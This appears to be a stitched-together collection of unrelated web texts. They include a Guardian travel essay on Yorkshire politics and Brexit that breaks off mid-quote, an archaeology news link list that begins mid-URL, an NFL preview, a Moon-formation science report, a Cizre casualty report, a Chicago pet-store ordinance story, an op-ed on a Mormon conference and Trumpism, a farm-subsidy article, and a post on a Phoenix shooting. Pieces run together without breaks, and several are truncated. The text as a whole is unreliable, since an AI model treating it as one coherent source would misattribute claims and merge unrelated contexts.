Facebook Twitter Pinterest Ornamental plates commemorating strikes hung on the walls of the Wakefield Labour Club, also known as The Red Shed. Photograph: Jon Super for the Guardian
The ending of a way of life here was not the doing of the godlike forces of capital, but instead the deliberate result of a government campaign to destroy the power of workers – of ordinary people – and to put the country on a track that was more in keeping with the free-market ideology.
The viewpoint I just described is one you don’t often hear in the US these days. We think it is ancient and obsolete, and besides, very few American liberals sympathise with the coal mining industry. But there is also something refreshing and healthy and even populist about this perspective, emphasising as it does the obvious role of political struggle and human agency in economic developments – that it’s not just an invisible hand making all the decisions for us. This is an understanding that has proven increasingly difficult for Americans to grasp as the years have gone by. Maybe we all need to spend a few evenings at the Red Shed.
Rob and Spyder were the names of two men I met in the socialist shed; their taste in beer ran to Czech Budweiser Budvar, a choice of which I approved.
We bonded over an improbable but nevertheless real shared taste in a certain species of punk music from the 1970s and early 80s. Both of them, I discovered, were partial admirers of Trump – our ridiculous president comes up in nearly every conversation here.
As we spoke about bands such as Sham 69, a TV screen on the wall played vintage pop videos by the likes of Musical Youth. Here we were, three men in our 50s, drinking and talking about the youth culture of long ago.
It wasn’t a political conversation per se, but thinking about it a week later, it seems like everything that happened that night at the Red Shed came through a kind of time warp– as if the building itself was a sort of beacon from the past, flashing a warning light on the eve of this momentous election.
One of the aspects of English public life that surprises an American like me is that, in this country so closely related to ours, there exists a mass constituency for a form of politics that in the US is regarded as being far outside the bracket of the acceptable. In the parts of Yorkshire where I travelled, I learned that it is perfectly commonplace for people to call themselves socialists, to argue for the nationalisation of the rail network, and to expect government to pay for people’s healthcare. Every day while I was here, I was astonished anew by some example of this sort of thing.
The issues that should be propelling Labour back into power are obvious. Mounting student debt seems to drive people crazy here, just as it does in the US. The austerity that Conservative governments have inflicted on the nation for seven years has hollowed out public services, including hospitals and schools; it is deeply unpopular and should in any sensible universe be immediately reversed. Even the recent terrorist attacks in Manchester and London have served to play up the folly of austerity, with Labour politicians pounding away at the Tories for the cuts they made to police forces.
Unfortunately, the Labour party’s race to the top is considerably slowed by a heavy legacy of past mistakes. We have all heard by now the loud criticism of Corbyn, but I also listened to people who were still pissed off about the preceding Labour party regime – the Clintonesque “Third Way” crowd – for its role in the Iraq war, the bank bailouts, and accepting the terms of Thatcherism.
The biggest stumbling block of all is Brexit. In Wakefield, where I accompanied Labour MP Mary Creagh as she went door-to-door in a neighbourhood of council housing, I heard a woman of around 65 declare that what she cared about most was breaking completely with the EU. This woman seemed to understand the domestic issues. “I don’t like what the Conservatives are doing,” she allowed, “but I want out.”
“I’ve worked all my life,” she continued; she had always voted Labour, she said; and she knew that “the economy of this city’s bad”, but “I still want out. I want a hard Brexit.” I heard similar statements probably a dozen times in the short time that I was in England.
Brexit is obviously the perfect wedge for separating the Labour party from its traditional supporters, but driving that wedge home is not as simple as it might seem. For one thing, it requires someone more acceptable to those voters than a representative of the Conservative party, which is widely hated in the part of the country I visited. Enter Ukip, which drew in disaffected voters from across the political spectrum by campaigning on a single issue: a dislike of the EU.
Ukip got its way on that single issue last year in the Brexit referendum last year, but in winning that great victory it would also seem to have rendered itself obsolete. The question for 2017 is where Ukip’s voters will go next. Back to their traditional allegiances? Or, as Tory strategists clearly hope, perhaps Ukip is a sort of gateway drug for Theresa May’s version of conservatism – a British parallel to the “Southern Strategy” by which Richard Nixon and his Republican successors peeled away millions of Democratic voters.
Complicating the question slightly is the confusing nature of Ukip. For the most part, it is a Trumpian outfit whose best-known leader was a London commodities trader. The party’s official views verge on the xenophobic, if not downright unhinged. But, as I discovered, some of its representatives are also capable of coming across as leftish, if not downright proletarian.
I got a glimpse of this curious amalgam at a radio debate I attended between politicians in Sheffield, one of the few large cities in England to vote leave in last year’s referendum. The showdown was held in a well-known local nightclub and was chaired by a local media personality named Harry Gration. Five parties were represented on stage: a guy from Ukip, a Green, and a Liberal Democrat, in addition to Labour and the Tories. The idea was to quiz them all on issues of interest to young people, a sampling of which demographic filled the nightclub in question.
An incumbent MP from the area, the Labour party’s Louise Haigh, won my vote (had I been a voter here, that is) with the contest’s very first question, when she was asked to describe herself in three words and chose “red-haired socialist”.
Facebook Twitter Pinterest Sheffield Ukip councillor John Booker (left) being interviewed by Thomas Frank (right). Photograph: Jon Super for the Guardian
John Booker, a Ukip member of Sheffield city council, was the only man in the room wearing a tie. Middle-aged, with a shaved head, a blue suit and a shiny pound sterling pin badge on his lapel, Booker quickly established himself as a man of forceful views and colourful expression. He did not stand up for many of Ukip’s more extreme official positions – he let pass, for example, the opportunity to blame the recent Manchester terrorist attack on Islam or immigration. He also had a skill for one-liners. “Democracy may be expensive,” he said, in explaining his support for Brexit, “but it’s worth it in the long run.” I also liked the twist he put on a famous saying of Trotsky’s: “When you say you’re not interested in politics, believe me, politics is interested in you.”
The show concluded after an hour, and an audience member approached Booker with a handwritten question he had not been able to ask during the debate. I was struck by this young man’s appearance: he had a painful-looking purple bruise under one eye – not the ordinary look for a politics enthusiast back in the US. He described himself to me as “a jobseeker”; his question read as follows:
Three out of four newly created jobs go to immigrants. Therefore, even if leaving the single market to stop immigration caused us to create only half as many jobs, we would still double the number of British workers getting new jobs. Do you agree, then, that leaving the single market would be good for British workers?
Booker didn’t really answer it. Instead, he led me over to a nearby parking garage where we climbed into his red Hyundai van, which had a Carling lager bar towel on the dashboard and was filled with tools and equipment from his day job as a seller and installer of domestic appliances. Booker seemed to be a man of tremendous self-confidence. “I have the logic of an ordinary working man,” he said as we drove through Sheffield. He bitterly criticised the US military-industrial complex and described Donald Trump as a “big child”. But American liberals, in his telling, were no better. They say, “‘let’s open the borders’, and they go back to the gated community, got walls all around them”, he explained. A little while later, on a completely different subject, he told me that “corporate America rules the world”.
Booker had similarly conflicted opinions about British politics, as I discovered when we repaired to a pub for a few pints of bitter. For starters, and like nearly everyone else I met on my trip to Yorkshire, he strongly disapproved of Conservatives. Anyone in this area “who’s thinking of voting Tory |
3575800/What-s-REALLY-inside-pyramid-3D-images-created-using-cosmic-particles-hidden-tunnels-inside-mysterious-structure.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490
New tech to determine whether jaw bones come from a male or female:
http://phys.org/news/2016-05-techniques-jaw-bone-woman.html
Rethinking skeletal ‘markers’ of bad health:
http://phys.org/news/2016-05-skeletal-marker-physiological-stress-good.html
http://www.eurekalert.org/pub_releases/2016-05/uosc-asm050216.php
More on robots to explore shipwrecks:
https://www.theguardian.com/technology/2016/apr/30/diving-robot-ocean-one-wreck-sunken-treasure-louis-xiv
http://www.smithsonianmag.com/smart-news/a-merbot-retrieved-artifacts-louis-xivs-sunken-flagship-180958950/
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ON THE DNA FRONT
================================================================
A DNA study suggests humans were in Arabia 10 000 years earlier than previously thought:
http://www.eurekalert.org/pub_releases/2016-05/uoh-rph051116.php
https://www.sciencedaily.com/releases/2016/05/160511084258.htm
http://news.nationalpost.com/news/world/arabian-peninsula-may-have-sheltered-early-humans-during-last-ice-age-study-finds
http://www.dailymail.co.uk/sciencetech/article-3583061/Humans-arrived-Arabia-10-000-YEARS-earlier-thought-Group-sought-refuge-Red-Sea-plains-spreading-Middle-East.html
http://www.pasthorizonspr.com/index.php/archives/05/2016/humans-in-southern-arabia-10000-years-earlier-than-first-thought
… and the origins of dromedary domestication:
http://phys.org/news/2016-05-dromedary-domestication.html
http://www.pnas.org/content/early/2016/05/04/1519508113
http://www.bbc.com/news/science-environment-36252141
Questioning a study tracing Ashkenazi Jews’ origins to Turkey:
http://forward.com/news/breaking-news/339910/scholars-blast-new-study-tracing-ashkenazi-jews-to-khazars-of-ancient-turke
http://www.jta.org/2016/05/03/news-opinion/world/prominent-scholars-blast-theory-tracing-ashkenazi-jews-to-turkey
http://forward.com/opinion/339676/
… and studying the genetic roots of a Jewish community in India:
http://phys.org/news/2016-05-genetic-bene-israel-india-jewish.html
Looking for Leonardo’s DNA:
http://phys.org/news/2016-05-leonardo-da-vinci-dna-experts.html
http://www.eurekalert.org/pub_releases/2016-05/tca-ldv050316.php
http://www.telegraph.co.uk/science/2016/05/05/leonardo-da-vinci-paintings-analysed-for-dna-to-solve-grave-myst/
http://www.foxnews.com/tech/2016/05/06/scientists-hope-leonardo-da-vincis-work-can-reveal-dna-clues.html
China is testing the DNA of an ancient marquis:
http://news.xinhuanet.com/english/2016-05/06/c_135339992.htm
http://www.dailymail.co.uk/news/peoplesdaily/article-3575083/Decoding-useless-emperor-China-Experts-examine-precious-coffin-2-000-year-old-tomb-belonging-controversial-ruler.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490
On massive genetic changes during the Ice Age in Europe:
http://phys.org/news/2016-05-genetic-analysis-ice-age-europeans.html
https://www.sciencedaily.com/releases/2016/05/160502131231.htm
http://www.eurekalert.org/pub_releases/2016-05/caos-dtg050416.php
https://www.washingtonpost.com/news/speaking-of-science/wp/2016/05/05/ice-age-europeans-had-some-serious-drama-going-on-according-to-their-genomes/
http://www.bbc.co.uk/news/science-environment-36150502
http://www.csmonitor.com/Science/2016/0503/Game-of-bones-Ice-Age-European-drama-uncovered-by-51-genomes
https://www.newscientist.com/article/2086518-game-of-bones-first-europeans-shifting-fortunes-found-in-dna/
http://www.dailymail.co.uk/sciencetech/article-3569545/The-founding-fathers-Europe-DNA-reveals-Europeans-related-group-lived-Belgium-35-000-years-ago.html
http://www.pasthorizonspr.com/index.php/archives/05/2016/dramatic-population-change-in-europe-from-45000-to-7000-years-ago
https://www.rt.com/viral/341169-king-half-european-men/
Trying to find relatives of a Siberian child mummy through DNA:
http://www.dailymail.co.uk/sciencetech/article-3580606/Who-mysterious-child-mummy-Siberia-DNA-tests-seek-modern-relatives-800-year-old-boy.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490
Dienekes’ Anthropology Blog:
http://dienekes.blogspot.ca/
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CLIMATE MATTERS
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Another one on rising seas and archaeological sites:
http://blogs.scientificamerican.com/guest-blog/rising-seas-are-swamping-our-archaeological-heritage/
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TOURISTY THINGS
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Canary Islands:
http://www.nytimes.com/2016/05/08/travel/canary-islands-astronomy-stargazing.html
Beirut:
http://www.nytimes.com/2016/05/02/t-magazine/travel-beirut-architecture-art-design.html
Rome:
http://www.israelhayom.com/site/newsletter_article.php?id=33407
Via Francigena:
http://www.latimes.com/travel/europe/la-tr-italy-via-francine-trek-20160509-snap-story.html
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CRIME BEAT
================================================================
Another idiot taking a self destroys a statue:
http://www.npr.org/sections/thetwo-way/2016/05/13/477955499/selfie-with-statue-in-portugal-doesnt-end-well
http://www.cnn.com/videos/travel/2016/05/11/historic-statue-destroyed-during-selfie-attempt-vo.cnn
https://news.artnet.com/art-world/126-year-old-statue-destroyed-by-selfie-493421
http://www.dailymail.co.uk/news/article-3577177/A-right-royal-mess-Man-s-selfie-126-year-old-statue-16th-century-Portuguese-king-ends-disaster-knocks-smashes-pieces.html
A couple weeks’ worth of Anonymous Swiss Collector Culture Crime News:
http://www.anonymousswisscollector.com/2016/05/culture-crime-news-2-8-may-2016.html
http://www.anonymousswisscollector.com/2016/05/culture-crime-news-25-april-1-may-2016.html
conflict antiquities:
http://conflictantiquities.wordpress.com/
anonymous swiss collector:
http://www.anonymousswisscollector.com/
Portable Antiquity Collecting and Heritage Issues:
http://paul-barford.blogspot.ca/
Looting Matters:
http://lootingmatters.blogspot.com/
Illicit Cultural Property:
http://illicit-cultural-property.blogspot.com/
SAFE:
http://www.savingantiquities.org/blog/
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REPATRIATION AND RECOVERY
================================================================
Some paintings stolen from a Verona museum were recovered in the Ukraine:
http://www.bbc.co.uk/news/world-europe-36273801
http://artforum.com/news/id=59977
The US returned a number of Sassanid items to Iran:
http://en.mfa.ir/index.aspx?siteid=3&fkeyid=&siteid=3&fkeyid=&siteid=3&pageid=1997&newsview=392023
http://en.mehrnews.com/news/116431/73-antiquities-returned-home-from-US
================================================================
NUMISMATICA
================================================================
In case you missed the massive Roman coin hoard from Spain story:
http://www.coinworld.com/news/world-coins/2016/05/ancient-roman-coins-discover-spain.html
https://www.theguardian.com/science/video/2016/apr/29/roman-coins-tomares-seville-andalucia-spain-video
http://www.natureworldnews.com/articles/21614/20160504/1-300-pounds-of-unique-ancient-roman-coins-dating-3rd-century-a-d-unearthed-in-spain.htm
http://www.independent.co.uk/news/science/archaeology/construction-workers-in-spain-unearth-1300-pound-trove-of-ancient-roman-a7009741.html
http://phys.org/news/2016-04-workers-spain-huge-roman-coin.html
Big bucks for a 1933 penny:
http://www.dailymail.co.uk/news/article-3576104/1933-penny-sells-72-000-Rarest-British-coin-20th-century-one-just-11-minted-sets-world-record-price.html
Latest e-Sylum:
http://www.coinbooks.org/club_nbs_esylum_v19n19.html
… and the one which should appear later today:
http://www.coinbooks.org/club_nbs_esylum_v19n20.html
————————
Ancient Coin Collecting:
http://ancientcoincollecting.blogspot.com/
Ancient Coins:
http://classicalcoins.blogspot.com/
Coin Week:
http://www.coinweek.com/
================================================================
PERFORMANCES AND THEATRE-RELATED
================================================================
Phaeton:
https://www.washingtonpost.com/entertainment/theater_dance/a-bold-production-of-phaeton-from-taffety-punk-theatre-company/2016/05/10/84d71866-16c2-11e6-971a-dadf9ab18869_story.html
================================================================
OBITIUARIES
===============================================================
Charles Thomas:
https://www.theguardian.com/science/2016/may/08/charles-thomas-obituary
================================================================
AUDIO/VIDEO NEWS
================================================================
Audio News from Archaeologica:
http://archaeologychannel.org/audio-main-menu-cat/audio-news-list/2420-audio-news-from-archaeologica-1-may-2016-7-may-2016
http://archaeologychannel.org/audio-main-menu-cat/audio-news-list/2419-audio-news-from-archaeologica-24-apr-2016-30-apr-2016
================================================================
GENERAL ARCHAEOLOGY NEWS BLOGS
================================================================
Archaeology Magazine News Page:
http://www.archaeology.org/news/
About.com Archaeology:
http://archaeology.about.com/
Ancient Digger:
http://www.ancientdigger.com/
Archaeology Briefs:
http://archaeologybriefs.blogspot.com/
Past Horizons:
http://www.pasthorizons.com/
Stonepages:
http://www.stonepages.com/news/
Taygete Atlantis excavations blogs aggregator:
http://planet.atlantides.org/taygete/
Time Machine:
http://heatherpringle.wordpress.com/
================================================================
PODCASTS/VODCASTS
================================================================
Archaeosoup:
http://www.youtube.com/user/Archaeos0up?feature=watch
The Book and the Spade:
http://www.radioscribe.com/bknspade.htm
================================================================
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In two Super Bowl appearances against the Giants, Patriots quarterback Tom Brady was harassed by their pass rush on the way to close losses that have kept the Patriots’ run of success over the last 15 years from being even more impressive.
This year’s Giants team doesn’t seem particularly well-positioned to create the same kinds of problems for Brady when the teams square off at the Meadowlands on Sunday afternoon. Their nine sacks rank last in the NFL and the return of Jason Pierre-Paul last Sunday didn’t help them add to that total against the Buccaneers.
Pierre-Paul did create some pressure on Jameis Winston, though, and he thinks that his second week back in action will bring more success individually and as a team.
“They’re undefeated, but they have to come through here,” Pierre-Paul said, via ESPN.com. “We’ll get to the quarterback. I’m sure of it. I know I will.”
Despite that confidence, Pierre-Paul isn’t overlooking the fact that Brady has been tough to beat this season even during weeks when defenses have been able to put some pressure on him.
“You don’t know. He might have an off game,” Pierre-Paul said. “He might be sick. You don’t know. Anything can happen. I hope he’s sick. That would be better for us.”
Indeed it would be, but there’s no sign of illness in New England at this point so chances are good that they’ll have to take their chances against a healthy quarterback come Sunday. As mentioned, they’ve done well in that situation in the past and they’ll try to do the same without a Lombardi Trophy on the line.Earth is actually made up from two planets which came together in a head-on collision that was so violent it formed the Moon, scientists have concluded.
Initially it was believed that the Moon was created when a smaller planet called Theia grazed the Earth and broke up, sending a smaller chunk into space where it was caught in Earth’s gravity.
But if that was the case the Moon would have a different chemical composition to the Earth, because it would be made up, predominantly, of Theia.
"Theia probably would have become a planet if the crash had not occurred"
However, after studying Moon rocks brought back by astronauts on the Apollo missions, scientists at the University of California have found that their oxygen isotopes are the same as on Earth.
It means that the collision between Their and the early Earth was so violent that the two planets effectively melded together to form a new planet, a chunk of which was knocked off to form the Moon.
“We don’t see any difference between the Earth’s and the Moon’s oxygen isotopes; they’re indistinguishable,” said Edward Young, lead author of the new study and a UCLA professor of geochemistry and cosmochemistry.
“Theia was thoroughly mixed into both the Earth and the Moon, and evenly dispersed between them.
“This explains why we don’t see a different signature of Theia in the Moon versus the Earth.”
The crash with Theia happened approximately 100 million years after the Earth formed, almost 4.5 billion years ago.
It was thought Theia had collided with Earth at an angle of 45 degrees or more, described by the report authors as a ‘powerful side-swipe’
The researchers analysed seven rocks brought to the Earth from the Moon by the Apollo 12, 15 and 17 missions, as well as six volcanic rocks from the Earth’s mantle -- five from Hawaii and one from Arizona.
The key to reconstructing the giant impact was a chemical signature revealed in the rocks’ oxygen atoms. More than 99.9 percent of Earth’s oxygen is O-16, so called because each atom contains eight protons and eight neutrons.
But there also are small quantities of heavier oxygen isotopes: O-17, which have one extra neutron, and O-18, which have two extra neutrons.
In 2014, a team of German scientists reported in Science that the Moon also has its own unique ratio of oxygen isotopes, different from Earth’s. The new research finds that is not the case.
Prof Young’s research team used state-of-the-art technology and techniques to make extraordinarily precise and careful measurements, and verified them with UCLA’s new mass spectrometer.
Theia, which did not survive the collision - except that it now makes up large parts of Earth and the Moon - was growing and probably would have become a planet if the crash had not occurred, added Prof Young.
Prof Young and some other scientists believe the planet was approximately the same size as the Earth; although believe it was smaller, perhaps more similar in size to Mars.
A head-on collision was initially proposed in 2012 by Matija Cuk, now a research scientist with the SETI Institute, and Sarah Stewart, now a professor at UC Davis; and, separately during the same year by Robin Canup of the Southwest Research Institute.
The new research was published in the journal Science.UndercoverInfo
Child burned to death after Turkish onslaught on Cizre building
Turkish state forces are implementing an all-out media blackout across the town of Cizre in the wake of yesterday’s offensive by Turkish forces on two buildings where wounded people had taken shelter and were trapped as a result of artillery attacks over a sixteen day siege. At least 60 Kurds – men, women and childrem – are known to have lost their lives. Most of those inside the building had been sheltering in the basement. The Turkish Government claimed all the occupants were members of the proscribed PKK. A local political leader has stated that the attack had all the hallmarks of a military-Ergenekon (‘deep state’) alliance, as part of the Government offensive against the Kurds. So far, mainstream media in the West has ignored the massacre.
DBP (Party of Democratic Regions) Co-President Kamuran Yüksek said that state forces attacked…Jerry, an American bulldog mix, arrived at Chicago's Anti-Cruelty Society on Wednesday about the same time aldermen adopted a measure that will tilt the options for pet buyers in the city toward homeless animals like him.
Beginning next March, Chicago pet stores won't be able to sell dogs, cats or rabbits obtained from large-scale breeding operations that critics call "puppy mills." All such animals, mostly dogs, sold in the city will have to come from government pounds, rescue operations or humane societies.
National and local animal welfare advocates supported the legislation, which the City Council approved 49-1. The measure reflects a growing national concern over how animals are bred and treated and follows similar actions in other cities.
"This ordinance prevents, hopefully … these terrible practices of having these animals being abused day after day in small cages," said Ald. Proco "Joe" Moreno, 1st.
The ordinance does not figure to entirely change the way people buy pets in Chicago, because it doesn't affect online sales or purchases from small-scale breeders who don't sell puppies in stores. Veterinarians also will still be able to place animals from their clinics.
But for 16 Chicago pet stores, including the one James J. Sparks co-owns in the Mount Greenwood neighborhood on the Far Southwest Side, the new rules will have a significant impact.
Sparks wasn't happy with the City Council action, which he said fails to distinguish unsavory pet breeding operations from reputable breeders and pet stores. Sparks said he gets animals for the Park Pet Shop, which he runs with his parents, from upstanding breeders that treat their animals well.
"Am I for shutting down the wrong part of the industry? Absolutely, 100 percent," he said. "We do our best. We do a lot of hand-washing. We do a lot of crossing T's and dotting I's."
Susan Nawrocki, owner of Hug-A-Pup on the Northwest Side, said she plans to move her business to the suburbs, citing general mistreatment from the city.
"I don't need Chicago. Chicago needs us," Nawrocki said, adding that her sister opened the business almost 40 years ago. "Businesses that come to Chicago are not treated the way they should be treated."
Critics say pet stores, which generally sell only puppies and kittens, and the breeders that supply them add needlessly to the pet population while countless animals are awaiting adoption in shelters. At shelters, dogs are more likely to be older, mixed-breed animals.
A Humane Society of the United States official said in a statement that the new city ordinance represents "a step forward for the humane economy" that "will help end the euthanasia of thousands of dogs and cats every year in Chicago."
The new restrictions are similar to measures on the books in cities that include Los Angeles, San Diego and Phoenix.
Dr. Robyn Barbiers, a veterinarian and president of the Anti-Cruelty Society, which operates a large Near North Side shelter, said Wednesday's decision was "a good thing" but cautioned that "it doesn't address all the issues."
Barbiers, whose organization already partners with area PetSmart locations for in-store adoptions, said she would be open to working with some of the stores affected by the new rules. She said a broader education effort is needed to explain to prospective pet owners why a 2-year-old mixed-breed from the shelter might be a better choice than a custom-bred puppy.
The measure adopted Wednesday was pushed by City Clerk Susana Mendoza, whose office sells dog licenses.
"It's one step toward solving an important issue that faces our society," she said. "It cuts off a pipeline of the animals coming from the horrendous puppy mill industry and instead moves us toward a retail pet sales model that focuses on adopting out the many, many homeless animals in need of loving homes in this city."
Violators of the new ordinance, which goes into effect next March, could be fined up to $1,000 a day or, in the case of repeat offenses, charged with a misdemeanor.
Ald. Brendan Reilly, 42nd, cast the lone dissenting vote. Reilly said he and his wife have bought puppies from one of the businesses that will be affected.
"I support the intent of the ordinance, but not the approach," Reilly said. "The reality is that these bans don't end the practice or the product. They just push the practice to the suburbs."
Sparks, who said his store probably makes more than half its money on puppy sales, said denying consumers interested in a specific type of dog that option makes little sense.
"The pet stores in Chicago are regulated," Sparks said. "When you take away the regulated sources, is there any regulation to be had anywhere else? The answer to that is no. That would be terribly unfortunate to the industry."
mitsmith@tribune.com
hdardick@tribune.comLike many Mormons around the world, I’ve spent this weekend watching the Church’s General Conference, a biannual assembly of Church leaders and members where they come together to learn and be uplifted. While watching it, I’ve been struck by one thought – this is the anti-Trump conference.
No, the leaders of the Church haven’t spent their time denouncing President Trump or calling for his ouster. Rather, they have offered forceful denunciations of some of the key tenets of Trumpism. That is, they have denounced efforts to divide people based on their backgrounds and they have counseled members to avoid being motivated by fear.
Jeffrey R. Holland, a Mormon apostle well known for his powerful sermons, offered one of the strongest critiques of Trumpism. He fearlessly proclaimed that “guns, slurs and vitriol are not the way to deal with human conflict.” He also strongly condemned nativist, racist ideologies, stating that “there is room [in the Church] for those who speak different languages, celebrate diverse cultures, and live in a host of locations.”
Another apostle, Dale G. Renlund, firmly declared that “we must guard against bigotry that raises its ugly voice toward those who hold different opinions.” His fellow apostle, Robert D Hales, counseled that as Church members follow Christ, “there will be no disparity between the kindness we show our enemies and the kindness we bestow on our friends.” He followed up this admonition with one to heed the example of the Good Samaritan.
But perhaps the fiercest indictment of Trumpism came from a Church leader who knows firsthand the destructive consequences of fear-based ideologies. Dieter F. Uchtdorf, who was born in Nazi Germany and whose family was forced to flee from East Germany because of communist oppression, decried attempts to manipulate and divide people with fear. This was a far-from-subtle criticism of Trump’s frighteningly effective strategy of stoking ethnic and religious animus against Latinos and Muslims to bolster his own power. That these words came from a man who lived in the midst of World War II’s destruction and the Holocaust’s horrors made them all the more damning.
Latter-day Saints have seen many clues that their leaders have deep reservations about Trump’s leadership. The Church strongly condemned Trump’s calls for a Muslim ban on immigration to the United States, the Church-owned Deseret News called for Trump to drop out of the presidential race, and apostle Dallin H. Oaks recently signaled unease with the “politics of conflict sponsored by the aggressive new presidential administration” in the United States.
But this conference has provided even more evidence that Church leaders disapprove of Trumpism. To have four apostles, who are among the highest ranking clergy in the faith, speak in such forceful terms against the hatred that Trump is propagating may be unprecedented in the history of the Church. And it should inspire Church members who support Trump, and other policies of hatred and division (the Left’s not immune!), to engage in some serious introspection about the ideologies to which they lend their support.Correction: An earlier version of this report contained a quote attributed to the wrong person. This version has been corrected.
The food plate looks healthful enough, but federal incentives to farmers reflect an entirely different agenda. In large part, the government pays farmers who grow food for animals that become meat. (Susan Montoya Bryan/AP)
On Myplate, the federal food diagram published in June to show Americans a healthful diet, half of the plate contains fruits and vegetables, while roughly a third is made up of grains and about a fifth is reserved for “protein”: meat, eggs, beans and nuts. A separate, smaller circle is designated “dairy.”
The designers of Myplate hope it will help lower obesity and such related illnesses as diabetes, high blood pressure and cancer. Animal fats contribute to these diseases and make up a much larger percentage of the diet in America than in other countries. “The chart, thankfully, shows very clearly what people should aim for,” says Marion Nestle, a professor of food science and public health at New York University.
The food plate looks healthful enough, but federal incentives to farmers reflect an entirely different agenda. In large part, the government pays farmers who grow food for animals that become meat.
U.S. farm policy grew out of the economic hardships suffered by Midwestern farmers in the 1930s due to unpredictable swings in agricultural markets and the desire to protect the national food supply. Many critics feel the policy is no longer relevant and should be redesigned to promote healthful eating.
Of the roughly $200 billion spent to subsidize U.S. commodity crops from 1995 to 2010 (commodity crops are interchangeable, storable foods such as grains and certain beans, and cotton), roughly two-thirds went to animal-feed crops, tobacco and cotton. Roughly $50 billion went to human-food crops, including wheat, peanuts, rice, oil seeds and other crops that become sweeteners, according to a database compiled by the Environmental Working Group, an advocacy group. About $12 billion went to crops that were turned into ethanol, a use that is consuming a growing share of the harvest.
Farmers who grow fruits, vegetables and tree nuts, on the other hand, receive no regular direct subsidies, though there are some small programs that aid apple farmers and other growers. The government sometimes buys excess canned produce and uses it in school lunch programs and emergency food banks.
‘Thou shalt not’
In addition to the subsidies that USDA pays for commodity crops each year, it pays about $5 billion directly to commodity-crop farmers. You don’t have to till the land to get these direct payments. In fact, all you have to do to qualify for the payments is to own land on which commodity crops were growing in 1985.
The direct subsidy payments seem to have little to do with the original justification for farm subsidies, which was to help keep family farms from going out of business. Three-quarters of the direct subsidies go to the top 10 percent of commodity-cropland owners; $400 million of the total in 2010 went to individuals who live in cities with populations over 100,000 and hold the land as an investment. Millions more went to land-owning corporations, including real estate firms.
Although you don’t have to grow anything on these lands to get a subsidy, there are some restrictions on how you use the acreage: Growing fruits and veggies for the market on such lands automatically disqualifies them for direct subsidy payments. This restricts competition for produce growers but limits acreage available for such crops.
“We’ve locked up food production with a policy that says, ‘Thou shalt not grow fruits and vegetables,’ ” says Ferdinand Hoefner, policy director for the National Sustainable Agriculture Coalition, a group that lobbies for small- and mid-size farms.
By one estimate, if Americans followed the new USDA diet guidelines, an additional 13 million acres of fruit and vegetable crops would have to be planted each year to provide the food.
Direct payments aren’t the only subsidies for commodity farmers. Since the 1930s, the federal government has attempted to guarantee floor prices for such crops as wheat, soy and corn, and paid farmers for any difference between the floor price and market price.
These payments have fallen in recent years because of the record-high prices farmers are receiving for most commodity crops. The federal government’s subsidy of ethanol has driven up corn prices. Other commodity prices have increased, too.
No end to payments
There have been calls for years to cut the subsidies. But Congress this year again avoided taking an ax to the payments. “Everybody agrees that direct subsidies to big farmers ought to be stopped, but nobody wants to say he was against subsidies if he’s campaigning in Iowa,” says Nestle. “It’s a locked-in system.”
USDA subsidies aren’t about food security, because they do little to lower the price of most of what people put in their mouths, said Ben Lilliston of the Minneapolis-based Institute for Agriculture and Trade Policy, a group that opposes subsidies on the grounds that they promote the production of unhealthful food by big business.
Subsidies affect only a few human foods: Peanut butter, rice and bread are indirectly subsidized, as is high-fructose corn syrup, whose cheap ubiquity in the U.S. diet has been described as a cause of the obesity epidemic. A special program helps apple growers, and since 2008 about $50 million a year goes to other fruit and vegetable growers.
Debate on the subsidies sharpened this year amid growing concern over federal government spending. A House Appropriations subcommittee defeated an amendment by Rep. Earl Blumenauer (D-Ore.) to cap direct payments at $125,000 per individual. Opposition to the measure was bipartisan.
The amendment was denounced by representatives from states where subsidies are common. “We cannot get safe food if we don’t allow our farmers to have the capacity to earn a living and to produce the highest quality, the safest and most economical food and fiber anywhere in the industrialized world,” said Rep. Sanford Bishop (D-Ga.), standing up for his peanut farmers.
Democrat Sam Farr, whose coastal California district includes some of the most productive vegetable-growing farms in the world, noted that the farmers he represents “don’t get a dime of support from the federal government. If the market falls, they eat it. If a disaster comes in, they eat it.... They grow what they call ‘specialty crops’ — that’s the stuff you eat all the time.”
Automatic cuts to the direct payments and other subsidy programs could kick in next year if the congressional “supercommittee” created under the debt-ceiling deal fails to make specific recommendations, say those who follow the farm budget.
For critics, the subsidy program is fundamentally flawed because of which farmers it supports as well as the kind of eating it encourages.
Separate issues
USDA officials see the Myplate recommendations and the subsidy programs as different issues. “Myplate doesn’t promote any kind of food,” says Robert Post, USDA’s deputy director for nutrition policy and promotion, whose office designed the graphic. “It helps people make healthier decisions at mealtimes. It’s not supposed to be a prescription, but it gives you tools to allow you to assess your own intakes within these guidelines.”
Though commodity subsidies may seem to be incompatible with USDA’s eating recommendations, Post says basic commodity prices are a tiny percentage of what consumers pay at a restaurant or grocery store, where most of the expense lies in packaging, processing and marketing.
It is possible to eat healthfully on a limited budget, Post said. “You can eat more whole grains and fruits and vegetables without great expense.” Americans on average eat only 42 percent of the recommended two cups of fruit each day and 59 percent of the 2½ cups of vegetables, he said, adding that consumer habits have a much bigger impact than price subsidies.
“Still,” Post said, “we can do more to facilitate behavioral change in eating through government strategies, and those include making these nutritious foods more available.” One of the programs intended to stimulate healthful eating, he noted, is the Farmers Market Promotion Program. It provides grants of up to $100,000 to organizations setting up farmers’ markets.
The program’s budget for 2011: $5 million.
Allen is a freelance writer and author of “Ripe: The Search for the Perfect Tomato.”Last week 70 year-old Arthur Harmon fatally shot Phoenix attorney Mark Hummels (age 43) and his client Steven Singer (age 48) following a settlement conference. The amount in dispute: $17,000. Both men are survived by a wife and two children each.
It breaks my heart every time I hear about a senseless shooting. This one literally hit close to home. I live about two blocks away from the office building where this shooting occurred. My dog and I regularly walk past it on our morning excursions. After the shooting, police closed the entire street to traffic for most of the day and helicopters thundered overhead. The next day, news crews dotted the property with their transmission vans to broadcast updates on the morning news.
The press will provide update reports about the funerals of the deceased, but then this story will be filed like so many shootings before it. Arthur Harmon died of an apparent self-inflicted gunshot so there won’t be a trial. We’ll all go with our lives while the surviving families grieve and try to find a way to move on. There are not words to express how sorry I am for them. Those men left for work that morning, probably never expecting that they wouldn’t be home for dinner that night.
And I’m left wondering, “What’s the answer? What can we do to prevent more senseless deaths from occurring?”
I’m pretty conflicted when it comes to regulating guns in this country. The problem isn’t with the guns as much as the gun owners. I applaud gun owners who are maniacal about safety – who keep their guns unloaded and locked up where others, particularly children, cannot get to them.
